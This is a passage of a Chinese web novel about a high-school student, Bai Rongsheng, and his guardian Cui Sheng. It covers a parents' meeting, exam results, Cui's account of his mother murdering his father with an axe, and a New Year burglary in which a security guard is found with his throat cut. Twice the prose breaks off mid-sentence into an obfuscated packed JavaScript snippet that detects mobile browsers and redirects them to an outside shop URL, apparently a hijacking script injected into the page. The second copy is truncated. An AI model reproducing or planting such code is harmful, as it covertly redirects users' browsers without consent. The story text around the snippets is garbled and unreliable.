没想到吴飞云够讲义气,回到座位后,鬼鬼祟祟凑近,小声说:“白容生,可以啊,我好像看见了,你这次班级排名挺靠前的。” 白容生将信将疑:“真的?” “骗你干嘛?”吴飞云摆手,“老冯在调最后的排名表了,让我别说。” 李舜:“我靠,没看见我,完蛋了,这次数学太炸了。” 他这次数学确实神仙也救不回来,白容生拍拍他的肩膀聊表安慰。 下节课课间,冯少平就出现,把成绩表交给班长。 贴上去后照样围了一圈人,白容生不愿意挤,快上课的时候人少了他才拿着纸笔过去,第一眼看见自己的名字。 语文分数不算高,但对白容生来说能称得上惊喜。数学分显眼得高,英语不提也罢,再算上其他几门小科,成功让他拿到班里第十。 他记下自己的,再抄完李舜和吴飞云的,踩着下课铃回位。 李舜只考砸了数学,倒是保住了班内中上流的排名。吴飞云比开学时进步不少,三人心情都比刚考完的时候好多了,计划晚上吃点好的。 “去我家吃吧,我妈说今天能出成绩,给我做点好的,我这就发短信让她多做点。”李舜在白容生搬走后,很快办了走读手续。他认为哪怕每天回去被父母念叨,也比和徐桥日夜相对好。 李舜母亲的手艺没得说,白容生和吴飞云都迅速同意。 这节课是地理,一中缺地理老师,没办法将退休的老教师返聘回来上课。此刻这位老太太在台上平缓地念着书,下方一片昏昏欲睡。 没几分钟,李舜写张纸条推过来:我妈说,你哥也一起来吃,怎么样? 也巧,李舜家里租的房子和白容生他们现在住的房子一个小区,前后两栋楼,所以现在上下学白容生都和李舜一起走。 崔盛不热衷于社交活动,休息的时候他不是一个人坐着看电视,就是研究给白容生做点吃的。白容生不知道崔盛会不会反感去李舜家里吃饭,就写:我问问他。 短信发出去了,那边回得倒快。 哥:你不是在上课? 哥:我就不去了,你们玩得愉快。不用回,好好听课。 白容生耸肩,写给李舜:他工作忙,不去了。 但心里不知怎么的,好像就能突然看透崔盛的心思一般,知道崔盛的拒绝是怕给他添麻烦,或者说造成不好的印象。 这个联想大概归因于昨晚,白容生晚自习回家后,吃着崔盛给他买的炸年糕,提起冯少平说期中考后,要开第一次家长会。 他是想借此让崔盛去买身好衣服,再把头发修剪修剪,哪知崔盛张口就是他不去。 白容生茫然反问:“为什么不去?” 崔盛:“我不算你家长……我不是那种给你开家长会的家长。” 白容生皱起眉,崔盛走过来,顺手按了按他的眉心:“别皱眉,像老头。” 白容生不吃他这套,一甩头摆脱他的手,追问:“送我去学校的时候,你不是我家长了?现在说这个。” 崔盛:“不是一回事。” 白容生:“学校门口又没有说,高中学历以下进校枪毙。” 崔盛被他说得啧了下,短暂地皱眉再松开。白容生不容置疑地说:“我已经报名做家长会的志愿者,你必须来。” 班长一个人忙不来,几个课代表都要拉过去帮忙。白容生认为崔盛去开会理所应当,他还挺想看看崔盛坐在高中教室的样子。 睡前,崔盛进屋给他盖被子,手背顺便在白容生脸上贴了贴。他俯身,离白容生的脸很近。 白容生睁开眼,“哥,为什么不去?” 崔盛的脸有小半都在阴影里,凝视着白容生没说话。他也不知道应该怎么解释怪异的心情,固然他算是白容生的“家长”,但仔细推算,他们才认识几个月。 非亲非故,户口本上的手续还是叉子走关系帮忙搞了一个虚假的“继兄”。他最近不做打手后,在店里遇见的人大多是以前少见的“正常人”,崔盛甚至有种重新适应社会的感受,而这些迫使他看问题的角度也在改变。 白容生是叫他一声哥,可是他认为他不适合以家长身份去出席家长会。 “怎么都不去吗?”白容生问,“一定不愿意去吗?真的不可以?” 崔盛被他逗笑了:“装小学生呢你。” “只有你是我的家长。”白容生把下半张脸挡在被子下面,“你不去谁去?” 崔盛最终还是没有给出明确答案。 在李舜家吃完饭后,他们赶着铃声跑进班,被已经站在教室后面的冯少平狠狠瞪了眼。 晚自习最后一节开班会,冯少平将家长会的具体安排讲完,最后提醒:“这次考试班里前十的同学都准备一张照片,要正正经经的,开家长会的时候贴在前面。” 白容生恰好第十,要交一张照片。 李舜陪着他去校门口的小照相馆照相。因为来得晚,老板拍完照就要关门,照片需要等明天白天拿。 今天周五,一中惯例周六补课,周日休息时开家长会。白容生想了想,点头:“老板,我们周天开会,那天来拿可以吗?” “可以啊,你别忘了就行。” 白容生回家,崔盛在客厅等他,随口说:“今天回来晚了?” “和李舜聊天忘了时间。” 对于他交朋友这件事,崔盛向来支持,就没再问。 一晃到了周日,白容生作为志愿学生之一,要早早去打扫教室、重排桌椅。他轻手轻脚早起,准备去楼下买份土豆饼。 没想到崔盛竟然 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洗好的照片剪裁整齐,一共两张。崔盛拿到手时仔细看了看,深蓝的背景完全衬托出白容生白净的脸和乌黑的头发,他连校服外套都懒得脱,稚气未退的脸上随着迟来的发育期,逐渐显现出少年清俊的轮廓,微微笑着看向镜头。 拍得很好。 崔盛看了眼他的照片,也不由得笑了下,随后拿着照片走向校门。 今天家长会,崔盛走进去的时候门卫狐疑地看了他一眼。所幸他这段时间气质比以前收敛不少,门卫虽说不住地看,还是放他进去了。 走到教学楼下,崔盛不太明显地停顿。家长会九点开始,白容生给他打电话时是八点半,现在,大部分班级里班主任已经进班,准备开会。 忽然想明白了什么,崔盛拧眉,又忍不住抖着肩膀笑了两声。他也不管路过人奇怪看他的眼神,捏着照片,大步迅速上楼。 白容生教室在二楼,他站在教室后门,看见崔盛走近,抬起手挥了挥。 崔盛还没走到他面前,就摸出照片递给他:“没晚吧?” “没事,家长还没到齐呢。”白容生接过照片,对他笑了笑,手上迅速地抓住崔盛的袖子,一个转身,迎上还站在教室后门的冯少平。 “老师,这是我哥。”白容生张口就来,“他成年了,可以来开家长会。” 崔盛似笑非笑,把手一抽,对冯少平伸出右手:“不好意思冯老师,帮他拿照片,差点迟到了。” 对作为老师宠儿的家长,家长会通常都是一次不错的体验。冯少平对年龄同样能做他学生的崔盛和和气气,也摆出对一般家长的姿态:“下次做事不能这么马虎了,家长有时候还是得多说几句。不过白容生这半学期一直在进步,是好孩子,继续保持啊。” 白容生跟着在一旁点头,顺便在崔盛后背一推:“桌上贴了名片,我坐前面,你去找吧。” 说实话,崔盛真的站在那里的话,他是推不动的。但这次十分容易,崔盛顺着他的力道向前一步,叹口气走进班里。 他再次欣赏了一遍班级前十的展览板,白容生的照片贴上后十个人便齐了。即使在最后一位,依然是突出得好看。 忽然间,崔盛脑中掠过一个想法:或许下次,白容生可以成为前三。 23. 第 23 章 从暖气房里出来,白容生被冷风吹得缩了缩,拉高围巾。 早上六点多钟,天都没大亮,空气里好像都挂着冰渣子。崔盛昨晚被一个难缠的车主留住,凌晨才回家,今早就没起来床。 白容生静悄悄出门,在校门口早餐摊买了两个土豆饼,一转身,李舜就从后面跑过来了。 “加蛋加肠。”白容生递过去他的,“走走,快迟到了。” 期末已至,冯少平更是像住在班里,每个迟到的人都会被他拎出来念叨。李舜和白容生迎着寒风啃土豆饼,边吃边说:“听说寒假除了过年那几天都要补课。” “不是只有高三才补吗?”白容生再爱学习,也忍受不了寒假都要早上吹着冷风去学校,“我们也要?” “新校长,卯足劲想出成绩。”李舜吃得快,到楼下已经把饼吞掉,还从口袋里摸出一颗卤蛋塞进嘴,“我们家还订了机票呢,这样只能我独自在家独守空房了……” 白容生倒没有寒假旅游计划,过年只要他和崔盛都在就好。只是一中高压快节奏的学习实在令人疲惫,如果寒假还要补课,那他真的两眼一黑。 “都打起精神。”早自习的间隙,冯少平在讲台上充满激情地说,“都是十几岁的年纪,怎么能不充满活力呢?” 明天就开始期末考,班里大部分人都有种接近终点时的泄气感,再加上寒假补课的传言越来越多,实在没人打得起精神。 上次月考的成绩单还在教室后面贴着,白容生去走廊上呼吸完新鲜空气,回去时又驻足看了一会。 那次考试他发挥一般,排名掉到十几名的位置,看似波动不大,但白容生的心还是提了起来。 下半学期的学习内容逐渐加深,和开学时的小打小闹不同,题型也在变化,试卷越来越灵活。白容生已经摒弃了一开始刷题时数量取胜的想法,换着学习方法去适应知识和考试,期末考试才是真正考验他这段时间调整效果的时刻。 “考试很紧张?”中午回家吃饭时,崔盛看了眼他,“早上出门也不叫我,把我吓一跳。” 白容生:“也不是很紧张,有一点。我看你还没醒,就自己走了,哥,睡得晚的话,不用起来送我。” 崔盛好像对于白容生的安全有点过度关注。即使学校这么近,白容生还有李舜一起走,他也坚持把人送到楼下,或者在楼下接人,除非有事走不开。 对这个问题,崔盛一概是听到但不接受。他吃完饭,叫白容生到墙边量身高。 白容生测完,往崔盛肩膀上一趴:“我感觉你好像又长了一点。” 崔盛本身就骨架大个子高,成年后可能是陪着高中生一起营养饮食,不知不觉又窜了几公分。白容生觉得他这辈子应该长不到崔盛那么高,心里其实还是有些羡慕。 “你这样就挺好。”崔盛摸了把他的头发,“考试顺利。” 期末考依旧要考三天。最后一天时,白容生早上起床,就看见外面飘起了雪花。 今年冬天雪来得迟,下起来却很猛。等上午考完,外面已经一片雪白。 尽管在考试,学校里依然凑满一堆玩雪的。白容生陪李舜和吴飞云玩了会,手冻得发麻,揣进口袋里不拿出来了。 教室里垃圾桶不知道被谁偷拿出去,在里面堆了一个雪人,又放回教室后面。室内开着暖气,一开始没人发现,等看见时后面已经满地都是水。 冯少平被他们气笑了,进班强调:“少去玩雪,不要把手冻坏了。大家考完试后统一回班,开个班会。” 下午只有一场生物,考完才三点多。外面雪依旧在下,学校不知道在哪里借来一辆铲雪车,铲着主干道的雪。 寒假补课消息确认,整个班都垂头丧气。冯少平扶着讲台看他们,也是无可奈何,又说:“班长和体育委员,整队,去楼下,趁下雪给你们拍个照,照片洗完一人一张,是老师给你们的新年礼物。” 冯少平估计有摄影这个业余爱好,打开包,拿出一只黑漆漆的沉重相机。白容生还在寻找站位,旁边的树被班里打闹的人撞了下,瞬间积雪哗哗散下,把他们一圈人都淋了个遍。 “哇!” 白容生急忙甩头,把身上的雪甩掉,又被李舜和吴飞云共同泼了一捧雪,真是没脾气了:“你俩想死?” 冯少平不得不跟着他们大喊大叫:“站齐点!别打雪仗,想写检讨了是不是?” 考完试阅卷的两天是最轻松的假期,白容生和李舜、吴飞云约着出去吃完一顿饭,下午忽然跑去崔盛店里。 雪天后还是有来修车的,不是被冻出毛病就是路滑刮蹭,一直忙得离不开人。崔盛午饭都来不及吃,余光看见有人来,照旧问:“什么毛病?” “毛病是没车。” 熟悉的声音让他猛地转头,白容生冻得在地上跳了跳:“哥,你这里怎么这么冷?” “这边没有暖气,你去那边屋里暖和。”崔盛下意识回答,随后啧了下,“你怎么过来了?” “在家无聊,来店里看看你。”白容生说,蹲在他旁边看他修车,“已经会修车了吗,哥。” 崔盛:“天天看也快看会了。别碰这边,脏还危险,去找地方坐着,我今天早下工。” 这家店规模不大,甚至之前都没有正经营业,全靠两三个勉强称为上过汽修学校的小混混撑个门面。赚钱更是异想天开。 崔盛不能眼看着这家店白瞎在手里,向叉子表达了意愿后,叉子也很乐意增加一家赚钱的产业,就出了点钱,好歹招了两个专业的修车师傅。 有人有基础设备,崔盛这个名义上的老板带头做学徒,慢慢也将店经营起来了。恰好开在一中旁边,客流量不小,叉子见能赚钱,对崔盛越发和颜悦色。 虽说现在手里钱比之前多,崔盛还是下意识节俭。日常多给白容生花钱无所谓,不过他已经有了存钱预防风险的意识,自己手里多少要攒点。 雪天,两个老师傅就没来,基本上全靠崔盛带头顶着。但是白容生过来,还好奇地四处转,崔盛时不时得盯着他,心不在焉的,一个多小时后就决定潦草收工。 “走。”他换了外套,把手洗干净,随意用毛巾擦了擦。 白容生看见他指关节冻得发红,就伸手抓着崔盛,也被冻得一抖:“这么冷?” 嘴上虽然说,但他没收手,掌心那点暖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168946|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意全转移给崔盛,还没把他的手捂热。 “你那手顶什么用?”崔盛笑话他,抓过手套先给白容生套上,“这次等成绩,紧不紧张?” 白容生:“有点……不过,我已经尽力了,如果得不到成果也只能认命吧。” 崔盛:“才多大就认命认命的。” 到了假期结束,直接进入学校补课,顺便还要公布期末成绩。整个一中氛围惨淡,死气沉沉。 冯少平一进班就开始训人,说完一通,拿出厚实的一个牛皮纸袋交给班长:“总分还在整理,明天出成绩,让你们今天再快乐一天。之前拍的全班合照,拿去发吧,一人一张。” 新鲜东西总算让全班兴奋起来,白容生拿到照片仔细看了眼,照片里他头发上还有雪花,正对着旁边怪笑的李舜和吴飞云怒目而视。 冯少平拍的什么啊? 白容生敢怒不敢言,把照片夹进书本里。吃饭的时候他把照片交给崔盛,崔盛看见后脸上也出现了近乎忍笑的古怪表情,尽管很快消失,白容生也看见了。 “哥,你笑什么?” “没笑。”崔盛从容答道。 等白容生晚自习回家,那张照片已经收在相框内,摆在他的书柜里。 第二天又是吴飞云,从班主任办公室那摸回来,沉痛表示:“成绩出了,但是这次真没看见,老冯把我轰出来了。” 他在一通唏嘘声里回到座位,立马露出八卦的表情凑近李舜和白容生:“不知道出什么事,老冯在跟警察说话呢。” “警察?”白容生挑眉,“又有人偷东西?” “谁知道呢。”吴飞云耸肩,随即趴桌上叹气,“下学期就要分科,我肯定去文科班的,到时候没人给我抄数学作业了。” 白容生冷漠:“自己写能要你的命?” 李舜安慰他:“没关系,我也去文科,你可以抄我的。” 吴飞云:“你的比我的能好多少?” 他们还没说两句,班长就举着两张全班熟悉的纸跑进班里。这次教室前面一张后面一张,免得他们看成绩时太拥挤。 白容生有点不敢去。他难得生出这种畏缩的情绪,不自觉焦虑地转着笔,还是吴飞云从人群里挤出来,冲到他桌子面前,直接拍了他一巴掌。 “你干什么?”白容生被他拍得往前一倒,“我揍你了啊。” 吴飞云:“太可恶了啊白容生,考这么好,想怎么样?” 白容生一愣,吴飞云把抄了成绩的纸向他面前一放:“全班第三,我靠,你怎么考的,背着兄弟偷学?” 当事人比他还不可思议,盯着那个总分好一会,才对他笑了笑:“没办法,实力比你强。” 吴飞云:“你去死吧!” 李舜直接扑上来摇晃白容生的肩膀:“去死吧!” 白容生一学期花在英语上的苦功夫没有白费,虽然语文还是那样勉勉强强,但英语的分数好歹提上来了。他的数学依旧不错,两相叠加,终于给他拿到班级前几。 面上不怎么显,白容生心里其实有些得意。他愉快地转了转笔,忽然又觉得被人盯着,下意识回头,没看见谁的眼睛。 24. 第 24 章 “离放假还有三天。”李舜在旁边数,“天呐,三天,我妈都在海边晒日光浴了,我竟然还在学校补课。” “算你倒霉。”白容生课间还继续坐着写试卷,分心回他,“这两天来我家里吃吧,让我哥多做点。” 李舜哼哼两声,又说:“说实话,每次去你家看你哥我都有点怕,总觉得我哪里表现不对,就要被他打出去。” 白容生:“……他又不是什么暴力狂。” “不不,你不懂,我说的是他身上那种气质,看着就像道上混的,懂不懂?” 白容生懒得理他。真要讲,他以前也是半个道上混的,说出来李舜肯定不信。 现在坐在吵嚷的教室里回想中考以前的日子,都令白容生疑惑,那究竟是不是他的人生。 崔盛其实对于李舜这种来做客的白容生的朋友尽可能温和,但吃完饭李舜和白容生凑一起洗碗,还是感叹:“你哥不混黑/道可惜了。” 白容生:“你怎么知道他没混呢?” 他说得挺认真,李舜反而不信:“咱们这里又不是北城区,哪那么多混混。其实北城区我去过几次,并没有传言里那么吓人嘛。” 白容生笑了。李舜不明白他笑什么,白容生只说:“不知道也挺好的。” 很多时候,即使生活在同座城市,也不代表生活在一个世界。 挨到年前,街上人都变少,一中终于舍得放假。白容生背着一书包卷子回家,李舜则出校门后直奔机场,直接在南边过年。 吴飞云家在镇上,请一节课的假,出去赶公交了。白容生走在路上,竟然罕见地感觉到了冷清。 学校放学早,他又去崔盛的店里。崔盛正吸着烟干活,看见他,目光示意他去旁边坐着。 白容生等得无聊,抽出试卷趴在桌上写。 他才写完填空题,崔盛就换衣服洗手:“收工,早点回家吧。” 店里的人都知道,白容生一来就能提前下班,纷纷笑嘻嘻地和他打招呼。崔盛走过来一把拿起他的书包,问:“过年想怎么过?” “都可以。”白容生说,“跟你过就行。” 崔盛唔了声:“不回老家?” 白容生:“我没有老家。总不能去洗头房过年吧?” 他抬头看崔盛,漆黑的眼一眨不眨:“哥,你不是本地人吗?去你家那边看看。” 崔盛的表情有些古怪,他不怎么提他以前的事,包括他的家庭。白容生是忽然想起,有了去了解的好奇心,但看见崔盛似乎不方便说的表情,就道:“不去也行,我随口一提。” “不是,没有不方便让你看。”崔盛按了按眉心,“我好像有点忘记,我以前住在哪里。算了,明天借辆车,随便逛逛。” 崔盛现在高低算个“崔老板”,第二天就借了辆痕迹斑驳、磕磕碰碰的面包车。他会开车,只是没驾照,带着白容生向北城区去。 路上车晃得白容生想吐,把车窗打开一条缝,外面是灰扑扑的城市景象。越接近北城区,越破旧。 崔盛在几个路口都犹豫过才选择方向。慢慢的,车驶上一段有些颠簸的土路,这里是向下面乡镇去的路,周边堪称荒凉,黄土上盖着块块还没化的冻雪。 “前面不好开车了。”找了个空地把车停下,崔盛下车,嘴里含住一根烟,“往前走吧,来。” 他牵着白容生的手往前走。穿过这段路,前面出现不大干净的白墙,是一座设施简陋的小学,围墙低矮,透过铁门能看见里面两张旧乒乓球桌。 崔盛脚步停住,白容生问:“你之前在这读小学?” “嗯。”地上铺着沾着泥的稻草垫子,崔盛带着白容生绕过泥泞的地方,“挺破的,是不是?” 说着,他走到墙边,低头找了会,手指在一处深色的污渍停下。 “想不到还在。”崔盛漫不经心地说,“当时有人要抢我的钱,就在这里和他打了一架,这是他的头撞出来的血。” 白容生:“在学校门口打架都没关系?” “这里的规矩是弱肉强食。”崔盛说,“抢还是被抢,都没人会管你的,只有凶起来才不能被欺负。你幸好不是在这里读书,不然要被欺负死。” 他们走上水泥路,路面没有及时修缮,凹凸不平。路上很少有人经过,冷冽的风吹过来,周围低矮的建筑仿佛都是灰色调。 偶尔有几声狗叫,越来越近。白容生还没反应过来,崔盛不耐烦地松开他,捡起一根棍子:“谁家的狗又没拴。” 话音未落,前面斜里冲出一只体型中等的黄色土狗,凶得很,见到生人第一时间就吠叫着扑上来。崔盛面不改色,熟练地抽了一棍子,狗立刻伏在地上,嘴里呜呜地叫着。 离得近了,能看清这狗眼神不对,直勾勾地带着野性,周围眼白都是血丝,嘴边滴着口涎。崔盛心里一紧,立刻让白容生后退:“你躲远点。” 这狗反而被打出凶性,没多停顿,再次扑了上来。 这次崔盛没留手,狗被他抽开后,在地上滚了一圈,喉咙里发出兽类的低吼。手里的棍子不够坚硬,崔盛目光四下扫着,冷不防这狗像不怕痛一样,再次扑上来,露出的獠牙瞄准他的手腕。 他猛地后退一步,刚抬起棍子,眼角黑影闪过,却是后面的白容生不知道从哪里捡了块砖头,精准地砸了过去。 狗被砸得晕了下,晃悠悠地后退两步。它窜出来的地方这才有人追出来,拿着套索套住狗的脖子,喘了口气:“吓死我了,没被咬吧?这狗突然犯病,我想抓走处理的,被它逃出来了。” 这人是个胖胖的中年男人,脸庞黝黑方正,忽然站直,盯着崔盛看了眼。 “哎,”他说,“你是不是……老崔家的那个?” 崔盛手搭住白容生的肩膀,他正想带着白容生回去,闻言侧过脸望向男人。 “对了!”男人一拍手心,“这眼睛和崔大年轻时候一样!你都长那么大了?这过去几年了,我算算,你就没回来过。” 白容生好奇地也跟着打量这个男人。他很热情,好像之前和崔盛家里很熟,硬是要请崔盛去他家里坐坐喝杯茶。 崔盛出现了不大明显的迟疑,白容生注意到,在他身后一推:“去坐一下吧,不问问你家里人?” 被他推着往前走,崔盛嘴唇一动,声音很低:“我家里人都死了。” 曾经崔盛的说法是,他是没有亲人的孤儿,白容生以为他是被遗弃的。今天头一回听崔盛详细说起,白容生才知道,崔盛以前还算是拥有一个形式上完整的家庭。 他们只来得及交谈寥寥几句,就停在一栋三层小楼前。是乡镇常见的自建房,门口就是菜地,还养了几只鸡。 男人拽着狗向另一边走,同时提高声音叫了两声。埋头在菜地里忙活的中年女人抬头,立刻惊讶地打量两个陌生的客人。 “噢……崔家的。”听男人几句解释后,女人把手在围裙上擦了两下走过来,“这都几年不见了,长这么高。” 她皮肤粗糙偏黑,笑起来时脸上的皱纹显得人亲和不少。惯常问了崔盛几句这些年的情况,又拍了拍白容生:“这是你朋友吧?刚才我差点以为是个短发小姑娘,俩小伙子都长这么俊!来屋里坐着,喝口茶,你叔忙完就来。” 房子前面是一汪池塘,不大,水边堆着脏污的积雪。 女人隔着窗户指向池塘的对面:“你家原来房子在那边,记不记得?后面破得不行了,前两年……”她卡了一下,有点尴尬地咳嗽两声。 “你那个舅舅现在住着呢,把房子重新修了。” 她说话的时候,崔盛一直静静通过窗户望着那边的房子,光线照在他浅色的眼睛里。听完他偏过头,平静地开口:“那也挺好,省得房子浪费了。” “这也没办法,你家都没什么人,这附近更是没人敢去住。”女人尽力笑笑,但是脸上还是闪过心有余悸的表情,“你呢,今年都多大了,在外面上学还是打工?” “十八了,干修车。” 闲话扯了几句家常,男人回房了。他摘下手套,径自去了楼上,几分钟后下来,递给崔盛一个发灰的皱巴巴的塑料袋。 “你舅现在住那房子,什么名字都改过了,你要不回来。”男人似乎以为崔盛是回来要房子的,拿起烟斗吸了一口,“这个真没办法,咱们也管不了,是不是?他给你留了点钱,说如果你回来,大概得来看我,就让我把这钱给你。” 崔盛接过,随意打开看了眼,转手交给白容生。 白容生拿着钱,不动声色地观察这对夫妻。他们对崔盛的感情有些复杂,好像挺怜悯,但是怜悯里夹杂着尴尬和躲闪。 几人说了几句不痛不痒的话,水杯见底,崔盛起身,“谢谢叔,谢谢姨,我就是快过年了回来看一眼,没别的事,以后应该也不怎么回来了。当年的事,我还小,多亏你们帮忙报警。” 这对夫妻忙起身把他送到门口,连说没事。 白容生踩着冷硬的水泥地和崔盛绕过池塘,那栋曾经是崔盛家的小房子看起来平平无奇,并不突出。 他转头看崔盛,崔盛也正看着他,还笑了笑:“想问什么?” “人家还挺好的,能把钱给你。”白容生说,“袋子上都是灰,你就塞给我了。” “钱给你留着用。”崔盛满不在乎,“趁过年放假前存你那张卡上。” 周围环境有些萧瑟,风冷冷的。白容生走出几步,崔盛忽然伸出脚尖点了点地面:“大概就是这里。” “什么?” “大概是在这里,那天晚上,我妈拿着斧头追出来。斧头上血滴了一路,我回头的时候看见地上一串黑色的水。她没跑过我,摔倒了,我听见她在背后大吼大骂,不知道在说什么……我跑了很远,跑不动就沿着路走,一直走,不能停下来。直到第二天下午警察把我带回去,她已经在家喝农药去世了。” 现在地上有枯枝、泥块,但完全看不见陈年血迹。 “斧头上是我爸的血。”崔盛语气平淡,“我妈把我锁在楼上,听她把我爸剁成碎块。我知道下一个就是我,所以翻出窗户逃跑了。” 白容生诧异地仰头看他,崔盛揽着他肩膀:“吓到了?” “有点惊讶……”白容生顿了顿,“她为什么要杀你?” “因为我们是一家人。”崔盛以一种理所当然的口吻回答,“一家人怎么能分开呢?” 即使这个家从成立之初就充满了压抑、暴力和辱骂,但是没人会想到离开这里。直到那个男人想要背叛这个家庭,那么自然会被彻底地惩罚。 崔盛作为背叛者的孩子,按理应该和那个男人一起死掉,可他逃了出来,他是最彻底的背叛者,流浪才是他最终的结局。 “哥,我们回去吧。”白容生说,“我饿了。” 等到坐进车里,崔盛忽然又来了一句:“不是不想跟你说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个小区里,租房子陪孩子上学的占多数,再加上过年,多数人家都不在。傍晚时刻,显得格外寂静。 白容生开着电视,随机播放一部不知名的电影,音量调低。之后他就翻出一本必读名著,抱着书在沙发上看。 等到电视开始放晚会,他才放下书,调大声音,边听边将冰箱里的饺子拿出来煮了一碗,当作晚饭。 李舜和吴飞云先后给他打电话祝福新年快乐。李舜那边充满笑语和烟花的声音,吴飞云则跟白容生一样在看电视,抱怨因为家里有老人,电视必须开得震天响。 白容生倒不觉得寂寞,只是缺乏过年的兴趣。打过电话后他有了点节日的实感,给冯少平发送完新年短信,又给崔盛发。 【哥,新年快乐。】 崔盛没回,估计正忙着。白容生已经困了,起身准备洗漱睡觉。 他住在二楼,晚上都要把客厅、卧室的窗帘全部拉上。白容生扣着睡衣扣子走过去,站在客厅窗前时,无意识向下看了眼。 单元楼下站着三四个人,仅靠小区里微弱的路灯光,大概能看清身形是年轻男人,围在一起抽烟,似乎在说什么。 恰巧,其中一人抽着烟往上看,正好和白容生对上。 那双眼睛并不醒目,也没什么特殊的,视线的交错很快,双方都没有停留,就好像是无意中的一个对视。 白容生面色如常地拉上窗帘,转过身离开窗口,将穿好的睡衣又解开。 他只穿着袜子,脚步轻捷无声,矮着身子走到门后观察猫眼。走廊的声控灯是黑的,他等了会,运气不错,楼下有小孩跑出来玩炮竹,砰的一声。 视野范围内没人。 白容生把睡衣脱了,换上一身方便行动的衣服,迟疑地站在卧室门口又看向客厅的窗户。卧室内的夜灯,把他的影子拉得很长。 他怀疑他是在犯妄想症,可是刚刚瞥见的眼睛一直浮现在他眼前。 白容生看过太多人的眼睛,小偷的眼睛、混混的眼睛、□□犯的眼睛、杀人犯的眼睛……这些人都会去洗头房,他在柜台后,每个都见过。 而楼下那人往上一瞥,瞬间唤起他的警惕,简直就像本能反应。 那不是路边随便聚集的小混混乱看,那双眼睛目标明确,冰冷阴沉,是杀过人并且正在寻找猎物的眼睛。 他深吸口气,拉开卧室的窗帘向外看。 楼后面没人。 二楼除了卫生间的窗户都装了结实的防盗网,人不可能出去。但单元楼只有一个出口,如果出去必定会碰上那几人。 白容生闭上眼回忆,那个人抬头时,是直接看向二楼的。 这个房子的门都是老式的锁,绝对拦不住带了工具、经验丰富的盗贼。据白容生所知,对门的邻居早已回家过年,目前这层楼只有他一个人。 是想多了,还是他荒谬的推测其实是正确的? 白容生抓起手机给崔盛打电话,没接通。他迅速编辑短信发过去,抬眼盯着门。 应该出去,出去或许有机会离开,否则这个房子也是困住他的牢笼—— 这个念头刚出现,隔着门,模糊的脚步逐渐接近,然后停在这一层。 白容生瞳孔微微一缩。 他没有丝毫犹豫,直接拨打报警电话。 “对,有人在撬我们家的门锁。地址是……” 咔! 门锁那里传来脆响,白容生后背出了点冷汗,却还是一字一句清楚地说完地址。报完警后,他转身去崔盛的房间,在床底的箱子内翻出崔盛之前很喜欢用的一根球棒。 屋里的灯全关了,黑暗里,门外的任何响动都能听得一清二楚。白容生握紧球棒等着,调成静音的手机屏幕忽然亮了。 崔盛只回了他四个字。 【报警,等我。】 25. 第 25 章 房门外面是一扇蒙着纱网的防盗门,寂静的夜里白容生听见了最外面的门被打开的声音。 不意外,这扇门平时都是随手一关,他拿着工具折腾半天都能打开。 只剩下最后一扇门了。 白容生的手腕有点发抖,手心也是汗。他单膝跪在地上,放下球棒擦干净手,深呼吸几口,用力闭了下眼。 看起来对面是娴熟的团伙,一定是提前踩点,知道这户人家只有两个人。崔盛离开后,家里只剩下一位高中生,再加上过年期间小区里人不多,实在是大好的作案时机。 白容生又去确认了一遍卫生间的窗户,如果是小学的他估计还可以钻出去,但现在的他已经不行了。唯一的机会,就是开门的那一瞬间。 咔哒。 门锁卸掉的声音如此响,几乎令白容生背后生出一层冷汗。 大门进来,一边是鞋柜一边是衣架,衣架下的空间,足够白容生握着球棒蜷缩在那里。 门轴发出生锈的吱呀声,一点手电的光照进来,为首的人就像走进自己家一样迈步进入,漫不经心地扫视着。 他没看见阴影里的白容生。 随后是第二个人,似乎是开锁的主力,拎着手里的袋子嘟囔:“这破门……” 白容生连呼吸都停止了。 随后是第三个人,他随手拉开鞋柜,站在门口没动。过了几秒,转头去找灯的开关。 就在他回头的刹那,白容生敏捷地一跃而起,手里球棒带着风声,毫不迟疑地砸上他的额头。 咚! 确定球棒砸中以后,白容生直接撞开这个人,迈开腿冲出楼梯,向楼下狂奔。 这短暂的时间里,他的思维都停止了,整个身体好像与世界暂时隔离,听不清身后的厉喝和脚步声,也感受不到扑面而来的寒风。只是按照大脑先前设定好的程序,击打挡路的人,逃出去,想办法求救。 身体爆发了潜能,白容生一路冲下楼,绊都没绊一下,直冲小区大门的保安室。 地面到处是红色的鞭炮碎屑。那几人好像都追了上来,却没再吼叫,而是诡异地一同保持沉默,似乎也不想引起别人注意。 从白容生所在的楼到保安室,有差不多三百米的距离。问题在于小区的布局很随意,中间需要拐弯绕楼,还要穿过一个小花园。 白容生跑得眼前发黑,喘不上气,平时感觉很短的路,此刻显得格外漫长。他心惊肉跳,知道这个时候绝对不能松气,否则他就再也跑不起来了。 保安室……保安室! 前方亮着灯的小房子成了一根希望的稻草。现在是十一点左右,准备放烟花跨年的人都没出门,白容生一路上谁也没看见,终于见到保安室,他恨不得扑过去。 身后追赶的脚步声如同死神索命,白容生来不及停下,差不多是撞上保安室的窗户,手心扒住金属窗框,挤压在喉咙里的话,变成一声变形的、近乎哽咽的低声尖叫。 保安室里只有一名值班的保安,是白容生面熟的一位六十岁左右的大爷。电视还开着,屏幕里花团锦簇的舞团正在起舞,而保安胸口一大块血污,双眼大睁,灰白的脸上凝固成一个狰狞的、呼喊的表情。 他再也呼喊不出来了,因为他的喉咙那里还有一个深深的刀口,血肉模糊。 保安的尸体向前扑,紧贴着窗,和白容生来了一个隔着玻璃的贴面。 白容生猛一转身,追得最快的那个人已经到了他的身后。他想也不想,全凭本能地挥出一棒。 